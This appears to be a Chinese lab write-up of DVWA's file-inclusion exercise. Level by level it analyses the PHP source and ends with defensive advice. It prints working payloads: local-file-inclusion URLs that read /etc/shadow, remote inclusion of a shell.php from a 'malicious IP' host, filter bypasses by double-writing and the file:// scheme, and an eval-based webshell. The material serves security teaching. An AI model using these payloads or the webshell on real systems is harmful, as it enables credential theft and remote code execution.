0x00 File Inclusion(文件包含)
File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
文件包含漏洞通常配合文件上传来获取webshell。
0x01 Low
源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
代码就是读取链接中的一个参数page,作为文件包含进来。
http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=file1.php
获取page中的参数,作为php文件执行。
解题思路
-
本地文件包含 http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=/etc/shadow http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=C:\test.txt http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=....\php.ini
-
远程文件包含 当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行。
代码文件shell.php
<?php
echo phpinfo();
eval($_GET['pass']);
?>
构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=http://恶意ip/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。
需要修改php.ini系统配置allow_url_include=On。 可以在kali虚拟机中开启Apache2服务
service apache2 start
cd /var/www/html/
vim shell.php
写入
<?php
echo "welcome test"
?>
保存退出即可。
然后访问链接示例:http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=http://192.168.29.135/shell.php 。
0x02 Medium
源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
比Low级别多了http:// 和https:// 的过滤以及../ 和..”过滤(严重怀疑源码编写有误,应该是”..\“,这样才能过滤..)。但还是可以双写绕过。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如: page =hthttp://tp://ip/phpinfo.txt 时,str_replace函数会将http:// 删除,于是page=http://ip/phpinfo.txt ,成功执行远程命令。 http://ip/dvwa/vulnerabilities/fi/page=….....\php.ini 使用….\,也就是双写的..\,这样就可以绕过..\过滤了。
解题思路
利用双写绕过和远程文件包含漏洞。
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致远程代码执行。
代码文件shell.php
<?php
echo phpinfo();
eval($_GET['pass']);
?>
构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=hthttp://tp://恶意ip/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。
需要修改php.ini系统配置allow_url_include=On。 可以在kali虚拟机中开启Apache2服务
service apache2 start
cd /var/www/html/
vim shell.php
写入
<?php
echo "welcome test"
?>
保存退出即可。
然后访问链接示例:http://127.0.0.1:9000/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.29.135/shell.php 。
0x03 High
源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
检查文件名为file开头的文件并且文件名不能为include.php。使用fnmatch()确保$file是以file开头。
那么可以利用file伪协议绕过,如:file://C:\test.txt。php包含进来时会把file://C:\test.txt当成文件名读进来从而绕过fnmatch,然后在执行包含时会根据file伪协议把file伪协议路径下的文件包含进来。
当然前提是得知道要包含文件的绝对路径,无论什么后缀的文件被包含进来后都会当做php执行。
解题思路
利用文件上传漏洞上传Webshell,然后用伪协议来包含。
Webshell代码文件shell.php
<?php
echo phpinfo();
eval($_GET['pass']);
?>
构造远程url,http://127.0.0.1/dvwa/vulnerabilities/fi/page=file://绝对路径/shell.php 这里的shell.php的后缀名为任意的组合,比如.txt,都会被尝试执行php。如果shell中不是php内容,则会直接显示对应的内容。
0x04 Impossible
源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这是基于白名单的防御,只包含白名单中的文件,一般是无法突破了的。
解题思路
无。
0x05 小结
防御方法:
- 如果没有必要就关闭allow_url_fopen与allow_url_include。
- 白名单规定文件名。
- 如果不能白名单那就要设置黑名单过滤(尽可能全)http:// 、..\、../等符号。
- 如果文件包含与文件上传相结合时,还要考虑上传图片文件可能包含代码,应进行文件内容检查,全面防御。